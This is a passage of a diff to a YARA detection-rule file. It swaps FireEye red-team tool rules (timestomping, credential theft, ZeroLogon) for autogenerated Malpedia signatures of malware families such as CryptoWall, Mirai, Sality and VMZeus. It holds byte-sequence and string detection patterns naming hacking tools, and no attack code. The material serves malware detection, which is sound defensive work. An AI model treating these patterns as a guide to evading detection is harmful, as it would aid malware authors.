+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowall"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptowall_auto.yar#L1-L114"
+		license_url = "N/A"
+		logic_hash = "496e72f17aa4e054ce74cb3a6412cb731c4d48c85c6550891be7fb095dff5a0a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 3
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$f0 = "mscoree.dll" fullword nocase
-		$s0 = { 06 72 [4] 6F [4] 2C ?? 06 72 [4] 6F [4] 2D ?? 72 [4] 28 [4] 28 [4] 2A }
-		$s1 = { 02 28 [4] 0A 02 28 [4] 0B 02 28 [4] 0C 72 [4] 28 [4] 72 }
-		$s2 = { 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 72 }
-		$s3 = "SetCreationTime" fullword
-		$s4 = "GetLastAccessTime" fullword
-		$s5 = "SetLastAccessTime" fullword
+		$sequence_0 = { 85c0 7504 33c0 eb21 0fb74d08 83f961 }
+		$sequence_1 = { b979000000 66894de6 ba73000000 668955e8 }
+		$sequence_2 = { e8???????? 83c408 8b0d???????? 898164010000 }
+		$sequence_3 = { 55 8bec 51 837d0800 7441 837d0c00 }
+		$sequence_4 = { 7d1f 6a09 6a00 e8???????? }
+		$sequence_5 = { e8???????? 83c408 8b0d???????? 8901 68f2793618 }
+		$sequence_6 = { 8b4508 668910 8b4d08 83c102 894d08 eb02 eba1 }
+		$sequence_7 = { 668955e8 b874000000 668945ea b965000000 }
+		$sequence_8 = { 7511 6aff 8b4508 50 }
+		$sequence_9 = { 6a00 6a00 6a40 6a01 6a01 6880000000 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		7 of them and filesize <417792
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSTOMP_1 : FILE
+rule MALPEDIA_Win_Geminiduke_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "4b4a54c8-9717-5fbb-8130-a49162bc6b07"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/APT_HackTool_MSIL_SHARPSTOMP_1.yar#L4-L24"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "83ed748cd94576700268d35666bf3e01"
-		logic_hash = "af8aa0e87d8b6623a908fde5014f3849cd0ca20d5926c798be82ce4eab2668bb"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "7571eb47-e456-5ff2-b8bf-b1898ddd8358"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.geminiduke"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.geminiduke_auto.yar#L1-L156"
+		license_url = "N/A"
+		logic_hash = "e55c638d52ba8f741e7b2025242401b1531659829b54a8df50edaef39f23c4d8"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE"
-		rev = 3
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$s0 = "mscoree.dll" fullword nocase
-		$s1 = "timestompfile" fullword nocase
-		$s2 = "sharpstomp" fullword nocase
-		$s3 = "GetLastWriteTime" fullword
-		$s4 = "SetLastWriteTime" fullword
-		$s5 = "GetCreationTime" fullword
-		$s6 = "SetCreationTime" fullword
-		$s7 = "GetLastAccessTime" fullword
-		$s8 = "SetLastAccessTime" fullword
+		$sequence_0 = { 51 57 8b7c2410 8b442414 }
+		$sequence_1 = { 8b7c2410 8b442414 8b4c2418 f3aa }
+		$sequence_2 = { 6a00 68???????? e8???????? 83c404 50 6801000080 ff15???????? }
+		$sequence_3 = { 8b4c2418 f3aa 5f 59 }
+		$sequence_4 = { 03459c 03c8 894ddc 8b45fc }
+		$sequence_5 = { 034590 8b8d70ffffff c1e907 8b9570ffffff }
+		$sequence_6 = { 034584 8b8d64ffffff c1e907 8b9564ffffff c1e219 0bca }
+		$sequence_7 = { 034590 03c8 894dd0 8b45f8 }
+		$sequence_8 = { f7f3 66894706 8bc2 c1e010 668b4604 33d2 f7f3 }
+		$sequence_9 = { 0fb6f8 57 6a20 56 e8???????? 83c40c }
+		$sequence_10 = { 337704 33e8 8b442410 c1ee12 83e601 33ee }
+		$sequence_11 = { 33d2 f7f3 66894704 8bc2 }
+		$sequence_12 = { e8???????? d1ee 33f3 c1ee03 337704 33e8 }
+		$sequence_13 = { 0430 8ad1 80ea0a 80fa05 7705 }
+		$sequence_14 = { 8a442404 8ac8 80e961 80f919 7703 b001 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		7 of them and filesize <327680
 }
-rule FIREEYE_RT_Hacktool_MSIL_PXELOOT_1 : FILE
+rule MALPEDIA_Win_Gup_Proxy_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the PXE And Loot project."
-		author = "FireEye"
-		id = "5a72a6ff-bae4-57f5-a19b-a4595ac57293"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PXELOOT/production/yara/HackTool_MSIL_PXELOOT_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "82e33011ac34adfcced6cddc8ea56a81"
-		logic_hash = "c9892adcb9ff5471235e45988f6662d3b8f984fdafca7024a5781eed50f6c0b3"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "5c3bfea3-920f-5316-9eb6-180474d2cca9"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gup_proxy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gup_proxy_auto.yar#L1-L123"
+		license_url = "N/A"
+		logic_hash = "d81f0061756179ec05e7cc548d81d0721d972a5a55f0d637cdd705d25b38ea90"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		rev = 7
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid1 = "78B2197B-2E56-425A-9585-56EDC2C797D6" ascii nocase wide
+		$sequence_0 = { c744244400000000 c644243400 e8???????? c784242002000000000000 8d4c2444 6a00 }
+		$sequence_1 = { c1e606 03348510974100 33db 395e08 }
+		$sequence_2 = { 8b04bd10974100 830c06ff 33c0 eb16 e8???????? c70009000000 }
+		$sequence_3 = { c1f805 c1e606 8b048510974100 80643004fd 8b45f8 8b55fc 5f }
+		$sequence_4 = { c78588feffffc22eab48 50 8bce e8???????? 8bc3 889d88feffff c1e818 }
+		$sequence_5 = { c3 b8???????? c705????????61984000 a3???????? c705????????f2984000 c705????????4c994000 c705????????d1994000 }
+		$sequence_6 = { c784242002000000000000 8d4c2444 6a00 68???????? c74424600f000000 c744245c00000000 c644244c00 }
+		$sequence_7 = { ebb4 c745e4d8a04100 a1???????? eb1a c745e4d4a04100 a1???????? }
+		$sequence_8 = { ff15???????? 8b04bd10974100 830c06ff 33c0 }
+		$sequence_9 = { 53 ff15???????? 83f8ff 752a 32c0 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
+		7 of them and filesize <247808
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_NOAMCI_1 : FILE
+rule MALPEDIA_Win_Recordbreaker_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'noamci' project."
-		author = "FireEye"
-		id = "48066258-528f-5a70-81e1-15d6dfd9ff4f"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NOAMCI/production/yara/APT_HackTool_MSIL_NOAMCI_1.yar#L4-L16"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "6278cfb4e9af20bbe943f4b99227c7fba276315a9f0059575b3ed4ef96a848c4"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "242c0c11-6eb0-5e72-beaa-aa71c863ae8a"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.recordbreaker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.recordbreaker_auto.yar#L1-L114"
+		license_url = "N/A"
+		logic_hash = "600e9d6aeb0913499891accea4667949930b0cff9e2a09c3687c79439815914b"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE"
-		rev = 4
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid0 = "7bcccf21-7ecd-4fd4-8f77-06d461fd4d51" ascii nocase wide
-		$typelibguid1 = "ef86214e-54de-41c3-b27f-efc61d0accc3" ascii nocase wide
+		$sequence_0 = { 2bf7 8bcf d1fe 56 53 e8???????? }
+		$sequence_1 = { 42 66890c38 8d0412 0fb70c30 663bcb }
+		$sequence_2 = { 59 85c0 7408 6afe }
+		$sequence_3 = { 6a02 ff75fc ff15???????? 6a03 ff75fc ff15???????? 6a04 }
+		$sequence_4 = { 8bd7 8bc8 e8???????? 8b15???????? 8bc8 e8???????? 8bd3 }
+		$sequence_5 = { 6a1a 53 6a00 8bf8 }
+		$sequence_6 = { 881e 46 49 83ea01 }
+		$sequence_7 = { 8b15???????? 8bc8 e8???????? 8b55ec }
+		$sequence_8 = { 2bc6 d1f8 56 8d3c46 33c0 }
+		$sequence_9 = { 8b4d0c 8b07 5f 5e }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		7 of them and filesize <232312
 }
-rule FIREEYE_RT_Loader_MSIL_Wmirunner_1 : FILE
+rule MALPEDIA_Win_Mirai_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIRunner' project."
-		author = "FireEye"
-		id = "04c6acfc-859f-5e4a-8c59-9adf08f21657"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMIRUNNER/production/yara/Loader_MSIL_WMIRunner_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "49d21756a4f0b29909c4b0fa9f3a98dd0480f9401923032de4b3920814b85f29"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "81ec826d-82b4-5432-816d-754db384603c"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mirai_auto.yar#L1-L134"
+		license_url = "N/A"
+		logic_hash = "141eec0723c6032d1109e3ff4e6c77adfb4c0eb70a7f0ab199e555f3b3d9eb19"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid0 = "6cc61995-9fd5-4649-b3cc-6f001d60ceda" ascii nocase wide
+		$sequence_0 = { e8???????? 83c408 85c0 7535 8b742408 50 68???????? }
+		$sequence_1 = { 8b8d48feffff e8???????? 8d4db0 e8???????? 8365fc00 83a578feffff00 8d8554feffff }
+		$sequence_2 = { e8???????? 83c40c 5d c3 8b5510 8b450c 8b4904 }
+		$sequence_3 = { 8bf3 c1ee18 334cb500 8b2d???????? 0fb6f2 334cb500 8b35???????? }
+		$sequence_4 = { 8bcd e8???????? 8bc8 e8???????? 8b10 8b12 6a5c }
+		$sequence_5 = { e8???????? 8b54244c 56 53 52 53 ff15???????? }
+		$sequence_6 = { c3 55 8bec 51 51 6a17 68???????? }
+		$sequence_7 = { c20400 55 8bec 83ec14 894df0 c745f401000000 837df400 }
+		$sequence_8 = { 8bbcbd00100000 81e70000ff00 33f7 0fb6fd 8bbcbd00100000 81e700ff0000 33f7 }
+		$sequence_9 = { e8???????? 8365f800 8b45fc c9 c3 55 8bec }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		7 of them and filesize <7086080
 }
-rule FIREEYE_RT_Hacktool_MSIL_SHARPZEROLOGON_1 : FILE
+rule MALPEDIA_Win_Slickshoes_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'sharpzerologon' project."
-		author = "FireEye"
-		id = "51f22eee-fb96-55b0-8c02-1a0e9910a93e"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPZEROLOGON/production/yara/HackTool_MSIL_SHARPZEROLOGON_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "ed6a9bef5c6ee03aff969b8765b284ace517f2e6a1ef114acb04cf094c69cfa5"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "86c839b6-e5b0-5f50-b2eb-341682181175"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slickshoes"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.slickshoes_auto.yar#L1-L134"
+		license_url = "N/A"
+		logic_hash = "a30adc8e9bcf8ed13fec8919d0e4389d7fc505e3cf19302dcab25ec63fa5bcd2"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		rev = 3
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid0 = "15ce9a3c-4609-4184-87b2-e29fc5e2b770" ascii nocase wide
+		$sequence_0 = { e9???????? 81c204000000 55 bd2a3bff63 81e5fb17be7f e9???????? 57 }
+		$sequence_1 = { e9???????? f7d2 50 e9???????? b87073f77f f7d8 0d90f1fe6f }
+		$sequence_2 = { 81f61f000000 2d01000000 6681ebb987 81f704000000 b800020000 89fa b800000000 }
+		$sequence_3 = { e9???????? b804000000 01c1 58 81c104000000 e9???????? 83c404 }
+		$sequence_4 = { e9???????? b931bbb979 81e13b81af7f e9???????? 5a 01d1 81e91dadf56e }
+		$sequence_5 = { ff3424 5f 83c404 50 54 58 0504000000 }
+		$sequence_6 = { e9???????? bd40d86e7e 81c74b047f7d 29ef 81ef4b047f7d 5d 81f75adb6482 }
+		$sequence_7 = { e9???????? 81c104000000 57 52 68f987eb16 8b1424 81c404000000 }
+		$sequence_8 = { 89ee b80a000000 81cf40000000 2d04000000 09c7 81c302000000 01d7 }
+		$sequence_9 = { 8b12 81c206000000 0fb732 81f128000000 09d1 01d1 31c3 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		7 of them and filesize <11198464
 }
-rule FIREEYE_RT_Trojan_Macro_RESUMEPLEASE_1
+rule MALPEDIA_Win_Dorkbot_Ngrbot_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "068662f6-28b8-5538-8bc3-6506565305ae"
-		date = "2020-12-01"
-		date = "2020-12-01"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/RESUMEPLEASE/production/yara/Trojan_Macro_RESUMEPLEASE_1.yar#L4-L21"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "d5d3d23c8573d999f1c48d3e211b1066"
-		logic_hash = "040457bc446e496431129ff4623ddda5d9c2ce339ba65a7fbe42114626f36c60"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "1046d98a-4609-5bec-b876-b018dbb80d3c"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dorkbot_ngrbot_auto.yar#L1-L132"
+		license_url = "N/A"
+		logic_hash = "bcb266c989d4cc3b19fa74f0744a29c545b0b246dcbae9914be22d057afdb410"
 		score = 75
 		quality = 75
-		tags = ""
-		rev = 1
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$str00 = "For Binary As"
-		$str01 = "Range.Text"
-		$str02 = "Environ("
-		$str03 = "CByte("
-		$str04 = ".SpawnInstance_"
-		$str05 = ".Create("
+		$sequence_0 = { 6a5c 56 e8???????? 8b5d0c 6a5c 53 8bf8 }
+		$sequence_1 = { ffd6 33c0 a3???????? a3???????? a3???????? 8b45fc }
+		$sequence_2 = { c1e704 8b8f84693a02 48 3bc8 0f8289000000 68???????? 8d45ec }
+		$sequence_3 = { 3bc6 751a 8b00 898120100000 8b0a 8bb920100000 56 }
+		$sequence_4 = { 8b4508 50 8d8da4fdffff 51 68???????? 8d958cf7ffff 6817060000 }
+		$sequence_5 = { 8b15???????? 8b1d???????? 6a08 52 ffd3 6804010000 8906 }
+		$sequence_6 = { 0145fc ffd3 8bc8 b8d34d6210 f7e1 c1ea06 }
+		$sequence_7 = { 6689462d 83c007 66898638100000 5f 895628 c6462c03 b801000000 }
+		$sequence_8 = { 53 8d55d4 52 ffd6 85c0 7fdb 5f }
+		$sequence_9 = { 0fb6c9 6880000000 83c202 52 8b5508 f7d9 1bc9 }
 
 	condition:
-		all of them
+		7 of them and filesize <638976
 }
-rule FIREEYE_RT_Builder_MSIL_Sharpgenerator_1 : FILE
+rule MALPEDIA_Win_Sality_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGenerator' project."
-		author = "FireEye"
-		id = "ab661cba-f695-59d2-9071-9b9a90233457"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPGENERATOR/production/yara/Builder_MSIL_SharpGenerator_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "6dc0780e54d33df733aadc8a89077232baa63bf1cbe47c5d164c57ce3185dd71"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "c4fe3bef-4213-5d7d-913a-2b05b77a4928"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sality"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sality_auto.yar#L1-L213"
+		license_url = "N/A"
+		logic_hash = "0193eaeac2f20f17789979ee8ced6eebd2afd20c9546863e594d136342d3a2ff"
 		score = 75
 		quality = 73
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid0 = "3f450977-d796-4016-bb78-c9e91c6a0f08" ascii nocase wide
+		$sequence_0 = { 0302 50 6878563412 e8???????? }
+		$sequence_1 = { 0255fc 8855ec 8b45ec 25ff000000 }
+		$sequence_2 = { 02040a 8845fc 8b4dfc 81e1ff000000 }
+		$sequence_3 = { 0302 50 6a00 e8???????? }
+		$sequence_4 = { 837da000 751b 8b551c 52 8b4514 50 8b4d10 }
+		$sequence_5 = { 02c8 884dec 8b55f0 83c201 }
+		$sequence_6 = { 0311 52 6878563412 e8???????? }
+		$sequence_7 = { 0302 8945fc 8b4d10 8b55fc }
+		$sequence_8 = { 52 50 ff9539154000 58 6a00 }
+		$sequence_9 = { 8b5678 0354240c 8b5a20 035c240c 33c0 8b3b }
+		$sequence_10 = { 240f 3c0a 1c69 2f 8803 43 }
+		$sequence_11 = { f3a6 61 7513 8bc2 83e804 8b00 }
+		$sequence_12 = { eb0c 58 e8???????? b801000000 c3 }
+		$sequence_13 = { 7461 8bc8 48 c6857b27400000 }
+		$sequence_14 = { 8b00 0344240c eb02 33c0 }
+		$sequence_15 = { ff95bc154000 85c0 7415 58 }
+		$sequence_16 = { 010d???????? 83c004 5f 5e }
+		$sequence_17 = { 0007 7307 c607ff 8ac1 }
+		$sequence_18 = { 031e ff7608 ff7604 e8???????? }
+		$sequence_19 = { 00fb fb 804880bc 280d???????? }
+		$sequence_20 = { 0306 50 8d5604 e8???????? }
+		$sequence_21 = { 0306 50 8b4e04 8d5608 }
+		$sequence_22 = { 0202 7466 0fb77202 8b7a04 }
+		$sequence_23 = { 014304 c3 53 56 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		7 of them and filesize <1523712
 }
-rule FIREEYE_RT_Credtheft_MSIL_Titospecial_2 : FILE
+rule MALPEDIA_Win_Vmzeus_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the TitoSpecial project. There are 2 GUIDs in this rule as the x86 and x64 versions of this tool use a different ProjectGuid."
-		author = "FireEye"
-		id = "0262c720-e6b8-5bf2-a242-19a7f044973f"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/CredTheft_MSIL_TitoSpecial_2.yar#L4-L16"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "4bf96a7040a683bd34c618431e571e26"
-		logic_hash = "2f621f8de2a4679e6cbce7f41859eaa3095ca54090c8bfccd3b767590ac91f2c"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "6aa23f59-07e5-5545-b355-8ded6d796e51"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vmzeus_auto.yar#L1-L114"
+		license_url = "N/A"
+		logic_hash = "cf57c567165f41d1d66d4120ec9208acf9ea89868aae72faa87074d6a7fc07a0"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE"
-		rev = 4
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid1 = "C6D94B4C-B063-4DEB-A83A-397BA08515D3" ascii nocase wide
-		$typelibguid2 = "3b5320cf-74c1-494e-b2c8-a94a24380e60" ascii nocase wide
+		$sequence_0 = { e9???????? 32c0 6a4c 8d7c242c 59 f3aa }
+		$sequence_1 = { 32c0 6a4c 8d7c242c 59 f3aa }
+		$sequence_2 = { 6a04 58 e9???????? 32c0 6a4c 8d7c242c 59 }
+		$sequence_3 = { 6a10 32c0 59 8bfb }
+		$sequence_4 = { f3a4 b001 eb02 32c0 5f 5e }
+		$sequence_5 = { 32c0 6a4c 8d7c242c 59 }
+		$sequence_6 = { 6a10 32c0 59 8bfb f3aa }
+		$sequence_7 = { 58 e9???????? 32c0 6a4c }
+		$sequence_8 = { f3a4 b001 eb02 32c0 5f }
+		$sequence_9 = { e9???????? 32c0 6a4c 8d7c242c }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ($typelibguid1 or $typelibguid2)
+		7 of them and filesize <475136
 }
-rule FIREEYE_RT_Hacktool_Win32_Andrewspecial_1 : FILE
+rule MALPEDIA_Win_Gh0Sttimes_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "69e27e92-d68e-5543-bada-170e32733dbb"
-		date = "2020-11-25"
-		date = "2020-11-25"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
